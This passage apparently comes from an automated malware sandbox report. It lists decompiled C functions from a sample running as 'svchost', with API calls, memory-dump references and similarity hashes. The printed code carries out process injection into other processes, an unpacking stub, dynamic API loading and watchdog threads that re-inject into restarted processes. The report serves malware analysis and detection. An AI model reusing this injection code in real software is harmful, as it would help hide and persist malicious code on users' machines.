Instruction Fuzzy Hash: 07D13EB1A00215ABDB29CF54DC94FAEB7B9FB48704F0485D8F709A7280D678AE80CF55

Uniqueness

Uniqueness Score: -1.00%

Function 04001DC0 Relevance: 12.1, APIs: 8, Instructions: 149
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E04001DC0(void* _a4, intOrPtr _a8) {
				long _v8;
				long _v12;
				void* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				long _v28;
				void* _v32;
				signed int _v36;
				void* _t75;
				void* _t78;
				int _t85;
				void* _t90;
				void* _t138;
				void* _t139;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0) {
					L14:
					return _v8;
				} else {
					_v24 = _a8 +  *((intOrPtr*)(_a8 + 0x3c));
					_v20 = _v24 + ( *(_v24 + 0x14) & 0x0000ffff) + 0x18;
					_v12 =  *((intOrPtr*)(_v24 + 0x50));
					_t75 = VirtualAlloc(0, _v12, 0x3000, 0x40); // executed
					_v16 = _t75;
					if(_v16 != 0) {
						_t78 = VirtualAllocEx(_a4,  *(_v24 + 0x34), _v12, 0x3000, 0x40); // executed
						_v32 = _t78;
						if(_v32 != 0) {
							L7:
							E04001310(_v16, _a8,  *((intOrPtr*)(_v24 + 0x54)));
							_t139 = _t138 + 0xc;
							_v36 = 0;
							while(_v36 < ( *(_v24 + 6) & 0x0000ffff)) {
								E04001310(_v16 +  *((intOrPtr*)(_v20 + 0xc + _v36 * 0x28)), _a8 +  *((intOrPtr*)(_v20 + 0x14 + _v36 * 0x28)),  *((intOrPtr*)(_v20 + 0x10 + _v36 * 0x28)));
								_t139 = _t139 + 0xc;
								_v36 = _v36 + 1;
							}
							E04001C00(_v16, _v32);
							_t85 = WriteProcessMemory(_a4, _v32, _v16, _v12, 0); // executed
							if(_t85 != 0) {
								VirtualFree(_v16, 0, 0x8000); // executed
								_v28 = 0;
								_t90 = CreateRemoteThread(_a4, 0, 0, _v32 +  *((intOrPtr*)(_v24 + 0x28)), 0x11, 0,  &_v28); // executed
								_v8 = _t90;
								goto L14;
							}
							VirtualFree(_v16, 0, 0x8000);
							return 0;
						}
						_v32 = VirtualAllocEx(_a4, 0, _v12, 0x103000, 0x40);
						if(_v32 != 0) {
							goto L7;
						}
						VirtualFree(_v16, 0, 0x8000);
						return 0;
					}
					return 0;
				}
			}

0x04001dc6
0x04001dd1
0x04001f72
0x00000000
0x04001de1
0x04001dea
0x04001dfb
0x04001e04
0x04001e14
0x04001e1a
0x04001e21
0x04001e40
0x04001e46
0x04001e4d
0x04001e87
0x04001e96
0x04001e9b
0x04001e9e
0x04001eb0
0x04001eec
0x04001ef1
0x04001ead
0x04001ead
0x04001efe
0x04001f18
0x04001f20
0x04001f42
0x04001f48
0x04001f69
0x04001f6f
0x00000000
0x04001f6f
0x04001f2d
0x00000000
0x04001f33
0x04001e66
0x04001e6d
0x00000000
0x00000000
0x04001e7a
0x00000000
0x04001e80
0x00000000
0x04001e23

APIs

VirtualAlloc.KERNELBASE(00000000,00000000,00003000,00000040), ref: 04001E14
VirtualAllocEx.KERNELBASE(00000000,?,00000000,00003000,00000040), ref: 04001E40
VirtualAllocEx.KERNEL32(00000000,00000000,00000000,00103000,00000040), ref: 04001E60
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 04001E7A

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: Virtual$Alloc$Free
String ID:
API String ID: 3668210933-0
Opcode ID: 52cf3d6ea764938bff9b522e6c342b7d46ced791a51747c70ce413cfb71456e5
Instruction ID: 690ccb563e0dd82574d8c7baf9c5524f022716bcc7e01862e985cdb9dd94f491
Opcode Fuzzy Hash: 52cf3d6ea764938bff9b522e6c342b7d46ced791a51747c70ce413cfb71456e5
Instruction Fuzzy Hash: B451FAB5E00209AFDB04CF94C895FAEB7B5FB48704F10C558FA05BB280D779AA41CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00401005 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 43
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 25%

			E00401005() {
				void* _t20;
				void* _t42;
				void* _t43;

				_pop(_t42);
				_t43 = _t42 - 5;
				_t1 = _t43 + 0x85; // 0x401085
				_t20 =  *_t1();
				_t2 = _t43 + 0x29ab9; // 0x42aab9
				_t3 = _t43 + 0x9a; // 0x40109a
				 *((intOrPtr*)(_t43 + 0x29af1)) =  *_t3(_t20, _t2);
				_t5 = _t43 + 0x29ac8; // 0x42aac8
				 *(_t43 + 0x29af5) = LoadLibraryExA(_t5, 0, 0);
				_t8 = _t43 + 0x29ad5; // 0x42aad5
				_t9 = _t43 + 0x29af5; // 0x74700000
				_t10 = _t43 + 0x9a; // 0x40109a
				 *((intOrPtr*)(_t43 + 0x29af9)) =  *_t10( *_t9, _t8);
				_t12 = _t43 + 0x29ae4; // 0x42aae4
				_t13 = _t43 + 0x29af5; // 0x74700000
				 *((intOrPtr*)(_t43 + 0x29afd)) = GetProcAddress( *_t13, _t12);
				_t16 = _t43 + 0x2b9; // 0x4012b9
				E00401126(_t16, _t43); // executed
				asm("lodsd");
				return  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 8));
			}

0x00401005
0x00401006
0x0040100c
0x00401012
0x00401014
0x0040101c
0x00401024
0x0040102a
0x0040103b
0x00401041
0x00401048
0x0040104e
0x00401056
0x0040105c
0x00401063
0x00401070
0x00401077
0x0040107e
0x00401094
0x00401099

APIs

LoadLibraryExA.KERNELBASE(kernel32.dll,00000000,00000000), ref: 00401035
GetProcAddress.KERNEL32(74700000,VirtualAlloc), ref: 0040106A

Part of subcall function 00401126: VirtualAlloc.KERNELBASE(?,?,00003000,00000040), ref: 00401144

Strings

GetProcAddress, xrefs: 00401047
VirtualAlloc, xrefs: 00401062
LoadLibraryExA, xrefs: 0040101A
kernel32.dll, xrefs: 00401034

Memory Dump Source

Source File: 00000005.00000002.858573370.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_svchost.jbxd

Similarity

API ID: AddressAllocLibraryLoadProcVirtual
String ID: GetProcAddress$LoadLibraryExA$VirtualAlloc$kernel32.dll
API String ID: 4074058790-1482053243
Opcode ID: bfa598e39201ea56365d01237002b764d44595e1bff33a7ec6927efc10a0c0ef
Instruction ID: 4ff399170a710021cd26f301060e842f1d9714487b9385cbdeed3e88436b29f7
Opcode Fuzzy Hash: bfa598e39201ea56365d01237002b764d44595e1bff33a7ec6927efc10a0c0ef
Instruction Fuzzy Hash: C701937264038D9FDB72DFA4CC84FDA37A9EF48300F014532E90DCBA50E675AA048B96

Uniqueness

Uniqueness Score: -1.00%

Function 0408BF20 Relevance: 7.7, APIs: 5, Instructions: 206
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			_entry_() {
				char _v128;
				char _v280;
				signed int _v408;
				struct _SECURITY_ATTRIBUTES* _v412;
				signed int _v416;
				signed int _v420;
				void* _v424;
				struct _SECURITY_ATTRIBUTES* _v428;
				signed int _v432;
				void* _v436;
				void* _v440;
				void* _v444;
				void _t72;
				int _t73;
				signed int _t74;
				void _t75;
				void _t76;
				signed int _t78;
				signed int _t79;
				unsigned int _t80;
				signed int _t90;
				signed char* _t95;
				long _t96;
				char* _t99;
				signed int _t100;
				signed int _t101;
				signed int _t103;
				signed int _t106;
				struct _SECURITY_ATTRIBUTES* _t108;
				void* _t111;
				void* _t117;
				signed int _t136;
				signed int _t139;
				signed int _t140;
				signed int _t141;
				intOrPtr* _t144;
				signed int* _t146;
				signed int _t147;
				void* _t160;
				signed int _t164;
				void* _t170;
				unsigned int* _t171;
				CHAR* _t173;
				signed int _t174;
				signed int _t175;
				signed int _t177;
				struct HINSTANCE__* _t178;
				intOrPtr _t179;
				DWORD* _t180;
				struct HINSTANCE__* _t181;
				void* _t184;
				signed int _t186;

				asm("pushad");
				_t177 = 0x4063000;
				_t1 = _t177 - 0x62000; // 0x4001000
				_t170 = _t1;
				_push(_t170);
				while(1) {
					_t138 =  *_t177;
					_t177 = _t177 - 0xfffffffc;
					asm("adc ebx, ebx");
					do {
						if(_t184 < 0) {
							_t72 =  *_t177;
							_t177 = _t177 + 1;
							 *_t170 = _t72;
							_t170 = _t170 + 1;
							__eflags = _t170;
							goto L19;
						}
						_t73 = 1;
						while(1) {
							_t139 = _t138 + _t138;
							if(_t139 == 0) {
								_t139 =  *_t177;
								_t177 = _t177 - 0xfffffffc;
								asm("adc ebx, ebx");
							}
							asm("adc eax, eax");
							_t140 = _t139 + _t139;
							_t186 = _t140;
							if(_t186 >= 0) {
								goto L28;
							}
							L26:
							if(_t186 != 0) {
								L34:
								_t147 = 0;
								_t74 = _t73 - 3;
								__eflags = _t74;
								if(_t74 < 0) {
									_t140 = _t140 + _t140;
									__eflags = _t140;
									if(__eflags == 0) {
										_t140 =  *_t177;
										_t177 = _t177 - 0xfffffffc;
										asm("adc ebx, ebx");
									}
									L39:
									if(__eflags < 0) {
										L31:
										_t138 = _t140 + _t140;
										__eflags = _t138;
										if(_t138 == 0) {
											_t138 =  *_t177;
											_t177 = _t177 - 0xfffffffc;
											asm("adc ebx, ebx");
										}
										asm("adc ecx, ecx");
										L49:
										__eflags = _t178 - 0xfffffb00;
										asm("adc ecx, 0x2");
										_t160 = _t170 + _t178;
										__eflags = _t178 - 0xfffffffc;
										if(_t178 <= 0xfffffffc) {
											do {
												_t75 =  *_t160;
												_t160 = _t160 + 4;
												 *_t170 = _t75;
												_t170 = _t170 + 4;
												_t147 = _t147 - 4;
												__eflags = _t147;
											} while (_t147 > 0);
											_t170 = _t170 + _t147;
											break;
										} else {
											goto L50;
										}
										do {
											L50:
											_t76 =  *_t160;
											_t160 = _t160 + 1;
											 *_t170 = _t76;
											_t170 = _t170 + 1;
											_t147 = _t147 - 1;
											__eflags = _t147;
										} while (_t147 != 0);
										break;
									}
									_t147 = _t147 + 1;
									_t140 = _t140 + _t140;
									__eflags = _t140;
									if(__eflags == 0) {
										_t140 =  *_t177;
										_t177 = _t177 - 0xfffffffc;
										asm("adc ebx, ebx");
									}
									if(__eflags < 0) {
										goto L31;
									} else {
										goto L43;
										do {
											do {
												L43:
												_t141 = _t140 + _t140;
												__eflags = _t141;
												if(_t141 == 0) {
													_t141 =  *_t177;
													_t177 = _t177 - 0xfffffffc;
													asm("adc ebx, ebx");
												}
												asm("adc ecx, ecx");
												_t140 = _t141 + _t141;
												__eflags = _t140;
											} while (__eflags >= 0);
											if(__eflags != 0) {
												break;
											}
											_t140 =  *_t177;
											_t177 = _t177 - 0xfffffffc;
											__eflags = _t177;
											asm("adc ebx, ebx");
										} while (_t177 >= 0);
										_t147 = _t147 + 2;
										__eflags = _t147;
										goto L49;
									}
								}
								_t78 =  *_t177;
								_t177 = _t177 + 1;
								_t79 = _t78 ^ 0xffffffff;
								__eflags = _t79;
								if(__eflags == 0) {
									_pop(_t177);
									_t171 = _t177;
									goto L55;
									do {
										do {
											L55:
											_t80 =  *_t171;
											_t171 =  &(_t171[0]);
											__eflags = _t80 - 0xe8 - 1;
										} while (_t80 - 0xe8 > 1);
										__eflags =  *_t171;
									} while ( *_t171 != 0);
									asm("rol eax, 0x10");
									 *_t171 = ( *_t171 >> 8) - _t171 + _t177;
									__eflags =  &(_t171[1]);
									asm("loop 0xffffffdb");
									_t55 = _t177 + 0x89000; // 0x408a000
									_t173 = _t55;
									while(1) {
										L58:
										_t90 =  *_t173;
										__eflags = _t90;
										if(_t90 == 0) {
											break;
										}
										_t56 =  &(_t173[4]); // 0x2000
										_t146 =  *_t56 + _t177;
										_t175 =  &(_t173[8]);
										__eflags = _t175;
										_t178 = LoadLibraryA(_t90 + _t177 + 0x8c000);
										while(1) {
											_t173 = _t175 + 1;
											__eflags =  *_t175;
											if(__eflags == 0) {
												goto L58;
											}
											if(__eflags < 0) {
												_push( *_t173 & 0x0000ffff);
												_t173 =  &(_t173[2]);
												__eflags = _t173;
											}
											asm("repne scasb");
											_t136 = GetProcAddress(_t178, _t173);
											__eflags = _t136;
											if(_t136 == 0) {
												ExitProcess();
											}
											 *_t146 = _t136;
											_t146 =  &(_t146[1]);
										}
									}
									_t174 =  &(_t173[4]);
									__eflags = _t174;
									_t63 = _t177 - 4; // 0x4000ffc
									_t144 = _t63;
									while(1) {
										_t174 = _t174 + 1;
										_t93 = 0;
										__eflags = 0;
										if(0 == 0) {
											break;
										}
										__eflags = 0 - 0xef;
										if(0 > 0xef) {
											_t93 =  *_t174;
											_t174 = _t174 + 2;
										}
										_t144 = _t144 + _t93;
										asm("rol eax, 0x10");
										 *_t144 =  *_t144 + _t177;
									}
									_t66 = _t177 + 0x8c05c; // 0x74716760
									_t179 =  *_t66;
									_t67 = _t177 - 0x1000; // 0x4000000
									_t170 = _t67;
									_t138 = 0x1000;
									_push(0);
									VirtualProtect(_t170, 0x1000, 4, _t180);
									_t68 = _t170 + 0x1df; // 0x40001df
									_t95 = _t68;
									 *_t95 =  *_t95 & 0x0000007f;
									_t69 =  &(_t95[0x28]);
									 *_t69 = _t95[0x28] & 0x0000007f;
									__eflags =  *_t69;
									_pop(_t96);
									_push(_t96);
									VirtualProtect(_t170, 0x1000, _t96, _t180); // executed
									asm("popad");
									_t99 =  &_v128;
									do {
										_push(0);
										__eflags = _t180 - _t99;
									} while (_t180 != _t99);
									_t181 = _t180 - 0xffffff80;
									_push(_t179);
									_t178 = _t181;
									_t180 = _t181 - 0x1b8;
									_t100 =  &_v280;
									_push(_t100);
									_push(0x202); // executed
									L0400100C(); // executed
									__eflags = _t100;
									if(_t100 != 0) {
										L17:
										ExitProcess(0);
									}
									_v408 = 0;
									_v412 = 0;
									while(1) {
										_t101 = E04001490(); // executed
										_v416 = _t101;
										__eflags = _v416;
										if(_v416 <= 0) {
											goto L14;
										}
										__eflags = _v416 - 0x2710;
										if(_v416 >= 0x2710) {
											goto L14;
										}
										 *0x4088c2c = CreateEventA(0, 1, 0, 0);
										_t103 = E040023E0( *((intOrPtr*)(0x4088c1c + _v408 * 4))); // executed
										_t180 =  &(_t180[1]);
										_v420 = _t103;
										__eflags = _v420;
										if(_v420 != 0) {
											E04001DC0(_v420, 0x4085600); // executed
											_t117 = E04001470(0xc);
											_t180 =  &(_t180[3]);
											_v440 = _t117;
											_v424 = _v440;
											 *_v424 =  *(0x4088c1c + _v408 * 4);
											 *(_v424 + 4) = _v420;
											 *((intOrPtr*)(_v424 + 8)) = 0x4085600;
											CreateThread(0, 0, E04001630, _v424, 0, 0); // executed
										}
										_v428 = 0;
										while(1) {
											__eflags = _v428 - 3;
											if(_v428 >= 3) {
												break;
											}
											_t106 = E040023E0( *((intOrPtr*)(0x4088c20 + (_v412 + _v428) * 4))); // executed
											_t180 =  &(_t180[1]);
											_v432 = _t106;
											__eflags = _v432;
											if(_v432 != 0) {
												E04001DC0(_v432, 0x4085600); // executed
												_t111 = E04001470(0xc);
												_t180 =  &(_t180[3]);
												_v444 = _t111;
												_v436 = _v444;
												_t164 = _v412 + _v428;
												__eflags = _t164;
												 *_v436 =  *(0x4088c20 + _t164 * 4);
												 *(_v436 + 4) = _v432;
												 *((intOrPtr*)(_v436 + 8)) = 0x4085600;
												CreateThread(0, 0, E04001630, _v436, 0, 0); // executed
											}
											_t108 =  &(_v428->nLength);
											__eflags = _t108;
											_v428 = _t108;
										}
										WaitForSingleObject( *0x4088c2c, 0xffffffff);
										Sleep(0x9c40);
										L04001006();
										goto L17;
										L14:
										Sleep(0x7530);
									}
								}
								_t178 = _t79 >> 1;
								goto L39;
							}
							_t140 =  *_t177;
							_t177 = _t177 - 0xfffffffc;
							asm("adc ebx, ebx");
							if(_t177 < 0) {
								goto L34;
							}
							L28:
							_t73 = _t73 - 1;
							_t138 = _t140 + _t140;
							if(_t138 == 0) {
								_t138 =  *_t177;
								_t177 = _t177 - 0xfffffffc;
								asm("adc ebx, ebx");
							}
							asm("adc eax, eax");
							_t139 = _t138 + _t138;
							if(_t139 == 0) {
								_t139 =  *_t177;
								_t177 = _t177 - 0xfffffffc;
								asm("adc ebx, ebx");
							}
							asm("adc eax, eax");
							_t140 = _t139 + _t139;
							_t186 = _t140;
							if(_t186 >= 0) {
								goto L28;
							}
						}
						L19:
						_t138 = _t138 + _t138;
						__eflags = _t138;
					} while (_t138 != 0);
				}
			}

0x0408bf20
0x0408bf21
0x0408bf26
0x0408bf26
0x0408bf2c
0x0408bf3a
0x0408bf3a
0x0408bf3c
0x0408bf3f
0x0408bf41
0x0408bf41
0x0408bf30
0x0408bf32
0x0408bf33
0x0408bf35
0x0408bf35
0x00000000
0x0408bf35
0x0408bf43
0x0408bf48
0x0408bf48
0x0408bf4a
0x0408bf4c
0x0408bf4e
0x0408bf51
0x0408bf51
0x0408bf53
0x0408bf55
0x0408bf55
0x0408bf57
0x00000000
0x00000000
0x0408bf59
0x0408bf59
0x0408bf83
0x0408bf83
0x0408bf85
0x0408bf85
0x0408bf88
0x0408bf9b
0x0408bf9b
0x0408bf9d
0x0408bf9f
0x0408bfa1
0x0408bfa4
0x0408bfa4
0x0408bfa6
0x0408bfa6
0x0408bf74
0x0408bf74
0x0408bf74
0x0408bf76
0x0408bf78
0x0408bf7a
0x0408bf7d
0x0408bf7d
0x0408bf7f
0x0408bfd5
0x0408bfd5
0x0408bfdb
0x0408bfde
0x0408bfe1
0x0408bfe4
0x0408bff4
0x0408bff4
0x0408bff6
0x0408bff9
0x0408bffb
0x0408bffe
0x0408bffe
0x0408bffe
0x0408c003
0x00000000
0x00000000
0x00000000
0x00000000
0x0408bfe6
0x0408bfe6
0x0408bfe6
0x0408bfe8
0x0408bfe9
0x0408bfeb
0x0408bfec
0x0408bfec
0x0408bfec
0x00000000
0x0408bfef
0x0408bfa8
0x0408bfa9
0x0408bfa9
0x0408bfab
0x0408bfad
0x0408bfaf
0x0408bfb2
0x0408bfb2
0x0408bfb4
0x00000000
0x0408bfb6
0x00000000
0x0408bfb6
0x0408bfb6
0x0408bfb6
0x0408bfb6
0x0408bfb6
0x0408bfb8
0x0408bfba
0x0408bfbc
0x0408bfbf
0x0408bfbf
0x0408bfc1
0x0408bfc3
0x0408bfc3
0x0408bfc3
0x0408bfc7
0x00000000
0x00000000
0x0408bfc9
0x0408bfcb
0x0408bfcb
0x0408bfce
0x0408bfce
0x0408bfd2
0x0408bfd2
0x00000000
0x0408bfd2
0x0408bfb4
0x0408bf8d
0x0408bf8f
0x0408bf90
0x0408bf90
0x0408bf93
0x0408c00a
0x0408c00b
0x0408c00d
0x0408c012
0x0408c012
0x0408c012
0x0408c012
0x0408c014
0x0408c017
0x0408c017
0x0408c01b
0x0408c01b
0x0408c029
0x0408c035
0x0408c037
0x0408c03c
0x0408c03e
0x0408c03e
0x0408c044
0x0408c044
0x0408c046
0x0408c046
0x0408c048
0x00000000
0x00000000
0x0408c04a
0x0408c054
0x0408c057
0x0408c057
0x0408c060
0x0408c061
0x0408c063
0x0408c064
0x0408c066
0x00000000
0x00000000
0x0408c06a
0x0408c070
0x0408c071
0x0408c071
0x0408c072
0x0408c075
0x0408c07e
0x0408c07e
0x0408c080
0x0408c089
0x0408c089
0x0408c082
0x0408c084
0x0408c084
0x0408c061
0x0408c08f
0x0408c08f
0x0408c092
0x0408c092
0x0408c095
0x0408c099
0x0408c09a
0x0408c09a
0x0408c09c
0x00000000
0x00000000
0x0408c09e
0x0408c0a0
0x0408c0b8
0x0408c0bb
0x0408c0bb
0x0408c0a2
0x0408c0a8
0x0408c0af
0x0408c0af
0x0408c0c0
0x0408c0c0
0x0408c0c6
0x0408c0c6
0x0408c0cc
0x0408c0d1
0x0408c0d7
0x0408c0d9
0x0408c0d9
0x0408c0df
0x0408c0e2
0x0408c0e2
0x0408c0e2
0x0408c0e6
0x0408c0e7
0x0408c0ec
0x0408c0ef
0x0408c0f0
0x0408c0f4
0x0408c0f4
0x0408c0f6
0x0408c0f6
0x0408c0fa
0x04001780
0x04001781
0x04001783
0x04001789
0x0400178f
0x04001790
0x04001795
0x0400179a
0x0400179c
0x040019a0
0x040019a2
0x040019a2
0x040017a2
0x040017ac
0x040017b6
0x040017b6
0x040017bb
0x040017c1
0x040017c8
0x00000000
0x00000000
0x040017ce
0x040017d8
0x00000000
0x00000000
0x040017ec
0x040017ff
0x04001804
0x04001807
0x0400180d
0x04001814
0x04001822
0x0400182c
0x04001831
0x04001834
0x04001840
0x04001859
0x04001867
0x04001870
0x0400188b
0x0400188b
0x04001891
0x040018ac
0x040018ac
0x040018b3
0x00000000
0x00000000
0x040018cd
0x040018d2
0x040018d5
0x040018db
0x040018e2
0x040018f4
0x040018fe
0x04001903
0x04001906
0x04001912
0x0400191e
0x0400191e
0x04001931
0x0400193f
0x04001948
0x04001963
0x04001963
0x040018a3
0x040018a3
0x040018a6
0x040018a6
0x04001976
0x04001981
0x0400199b
0x00000000
0x0400198b
0x04001990
0x04001996
0x040017b6
0x0408bf97
0x00000000
0x0408bf97
0x0408bf5b
0x0408bf5d
0x0408bf60
0x0408bf62
0x00000000
0x00000000
0x0408bf64
0x0408bf64
0x0408bf65
0x0408bf67
0x0408bf69
0x0408bf6b
0x0408bf6e
0x0408bf6e
0x0408bf70
0x0408bf48
0x0408bf4a
0x0408bf4c
0x0408bf4e
0x0408bf51
0x0408bf51
0x0408bf53
0x0408bf55
0x0408bf55
0x0408bf57
0x00000000
0x00000000
0x0408bf57
0x0408bf36
0x0408bf36
0x0408bf36
0x0408bf36
0x0408bf41

APIs

LoadLibraryA.KERNEL32(?), ref: 0408C05A
GetProcAddress.KERNEL32(?,04089FF9), ref: 0408C078
ExitProcess.KERNEL32(?,04089FF9), ref: 0408C089
VirtualProtect.KERNELBASE(04000000,00001000,00000004,?,00000000), ref: 0408C0D7
VirtualProtect.KERNELBASE(04000000,00001000), ref: 0408C0EC

Memory Dump Source

Source File: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: ProtectVirtual$AddressExitLibraryLoadProcProcess
String ID:
API String ID: 1996367037-0
Opcode ID: 64764ee8238996737652da89ce96f32c0f690e677ce2c9ab463374656e08a4d0
Instruction ID: 20fcce43128c80cbc216fde34acc2cdd335751d52faa48733a5718032d389bea
Opcode Fuzzy Hash: 64764ee8238996737652da89ce96f32c0f690e677ce2c9ab463374656e08a4d0
Instruction Fuzzy Hash: CA51F6716542525BE720AEB8CEC0664B7F0EB02264718073DE5E5EB3C3EBA0B8059F61

Uniqueness

Uniqueness Score: -1.00%

Function 04001780 Relevance: 13.6, APIs: 9, Instructions: 118
sleepthreadsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E04001780() {
				char _v404;
				signed int _v408;
				struct _SECURITY_ATTRIBUTES* _v412;
				intOrPtr _v416;
				intOrPtr _v420;
				void* _v424;
				struct _SECURITY_ATTRIBUTES* _v428;
				intOrPtr _v432;
				void* _v436;
				void* _v440;
				void* _v444;
				char* _t51;
				intOrPtr _t52;
				intOrPtr _t54;
				intOrPtr _t57;
				void* _t62;
				void* _t68;
				void* _t90;
				void* _t91;

				_t51 =  &_v404;
				_push(_t51);
				_push(0x202); // executed
				L0400100C(); // executed
				if(_t51 != 0) {
					L16:
					ExitProcess(0);
				}
				_v408 = 0;
				_v412 = 0;
				while(1) {
					_t52 = E04001490(); // executed
					_v416 = _t52;
					if(_v416 > 0 && _v416 < 0x2710) {
						break;
					}
					Sleep(0x7530);
				}
				 *0x4088c2c = CreateEventA(0, 1, 0, 0);
				_t54 = E040023E0( *((intOrPtr*)(0x4088c1c + _v408 * 4))); // executed
				_t91 = _t90 + 4;
				_v420 = _t54;
				if(_v420 != 0) {
					E04001DC0(_v420, 0x4085600); // executed
					_t68 = E04001470(0xc);
					_t91 = _t91 + 0xc;
					_v440 = _t68;
					_v424 = _v440;
					 *_v424 =  *(0x4088c1c + _v408 * 4);
					 *((intOrPtr*)(_v424 + 4)) = _v420;
					 *((intOrPtr*)(_v424 + 8)) = 0x4085600;
					CreateThread(0, 0, E04001630, _v424, 0, 0); // executed
				}
				_v428 = 0;
				while(_v428 < 3) {
					_t57 = E040023E0( *((intOrPtr*)(0x4088c20 + (_v412 + _v428) * 4))); // executed
					_t91 = _t91 + 4;
					_v432 = _t57;
					if(_v432 != 0) {
						E04001DC0(_v432, 0x4085600); // executed
						_t62 = E04001470(0xc);
						_t91 = _t91 + 0xc;
						_v444 = _t62;
						_v436 = _v444;
						 *_v436 =  *(0x4088c20 + (_v412 + _v428) * 4);
						 *((intOrPtr*)(_v436 + 4)) = _v432;
						 *((intOrPtr*)(_v436 + 8)) = 0x4085600;
						CreateThread(0, 0, E04001630, _v436, 0, 0); // executed
					}
					_v428 =  &(_v428->nLength);
				}
				WaitForSingleObject( *0x4088c2c, 0xffffffff);
				Sleep(0x9c40);
				L04001006();
				goto L16;
			}

0x04001789
0x0400178f
0x04001790
0x04001795
0x0400179c
0x040019a0
0x040019a2
0x040019a2
0x040017a2
0x040017ac
0x040017b6
0x040017b6
0x040017bb
0x040017c8
0x00000000
0x00000000
0x04001990
0x04001996
0x040017ec
0x040017ff
0x04001804
0x04001807
0x04001814
0x04001822
0x0400182c
0x04001831
0x04001834
0x04001840
0x04001859
0x04001867
0x04001870
0x0400188b
0x0400188b
0x04001891
0x040018ac
0x040018cd
0x040018d2
0x040018d5
0x040018e2
0x040018f4
0x040018fe
0x04001903
0x04001906
0x04001912
0x04001931
0x0400193f
0x04001948
0x04001963
0x04001963
0x040018a6
0x040018a6
0x04001976
0x04001981
0x0400199b
0x00000000

APIs

WSAStartup.WS2_32(00000202,?), ref: 04001795
ExitProcess.KERNEL32 ref: 040019A2

Part of subcall function 04001490: lstrcat.KERNEL32(?,04003134), ref: 04001581
Part of subcall function 04001490: GetTickCount.KERNEL32 ref: 04001587
Part of subcall function 04001490: closesocket.WS2_32(000000FF), ref: 04001606

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 040017E6
CreateThread.KERNELBASE(00000000,00000000,Function_00001630,?,00000000,00000000), ref: 0400188B
CreateThread.KERNELBASE(00000000,00000000,Function_00001630,?,00000000,00000000), ref: 04001963
WaitForSingleObject.KERNEL32(?,000000FF), ref: 04001976
Sleep.KERNEL32(00009C40), ref: 04001981
Sleep.KERNEL32(00007530), ref: 04001990

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: Create$SleepThread$CountEventExitObjectProcessSingleStartupTickWaitclosesocketlstrcat
String ID:
API String ID: 1305884959-0
Opcode ID: a41e2e6088094ddaf64ef43a59fc0f2982de2e99ed4e0b2c61c148b4799e462e
Instruction ID: 2f7e3e578d268ca83db2a9f917eba75e9ec579b5eb93670916da3db20cf0bcb8
Opcode Fuzzy Hash: a41e2e6088094ddaf64ef43a59fc0f2982de2e99ed4e0b2c61c148b4799e462e
Instruction Fuzzy Hash: 14512674A01224AFFB60EF60DC59BDAB7B0AB49708F0480E8E5497B2C0D7756E84CF52

Uniqueness

Uniqueness Score: -1.00%

Function 04001630 Relevance: 12.1, APIs: 8, Instructions: 88
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E04001630(intOrPtr* _a4) {
				intOrPtr* _v8;
				intOrPtr _v12;
				long _v16;
				int _v20;
				long _v24;
				int _t40;
				void* _t44;
				void* _t67;

				if(_a4 == 0) {
					L17:
					return 0;
				}
				 *0x4003090(0); // executed
				_v12 = 0x3e8;
				_v16 = 0x1388;
				_v8 = _a4;
				if( *_v8 == 0) {
					L16:
					 *0x4003094();
					goto L17;
				}
				_v20 = 0;
				while(_v20 <= 0x3e8) {
					if(WaitForSingleObject( *0x4088c2c, 1) != 0) {
						_v24 = 0;
						_t40 = GetExitCodeProcess( *(_v8 + 4),  &_v24); // executed
						if(_t40 == 0) {
							L15:
							continue;
						}
						if(_v24 != 0x103) {
							if(_v24 != 0x17d4a580) {
								CloseHandle( *(_v8 + 4));
								 *(_v8 + 4) = 0;
								Sleep(0xbb8);
								_t44 = E040023E0( *_v8);
								_t67 = _t67 + 4;
								 *(_v8 + 4) = _t44;
								if( *(_v8 + 4) != 0) {
									_v20 = _v20 + 1;
									if( *((intOrPtr*)(_v8 + 8)) != 0) {
										E04001DC0( *(_v8 + 4),  *((intOrPtr*)(_v8 + 8)));
										_t67 = _t67 + 8;
									}
									goto L15;
								}
								goto L16;
							}
							SetEvent( *0x4088c2c);
							goto L16;
						}
						Sleep(0x1388); // executed
						goto L15;
					}
					TerminateProcess( *(_v8 + 4), 0);
					goto L16;
				}
				goto L16;
			}

0x0400163a
0x0400176c
0x04001771
0x04001771
0x04001642
0x04001648
0x0400164f
0x04001659
0x04001662
0x04001766
0x04001766
0x00000000
0x04001766
0x04001668
0x0400166f
0x0400168d
0x040016a3
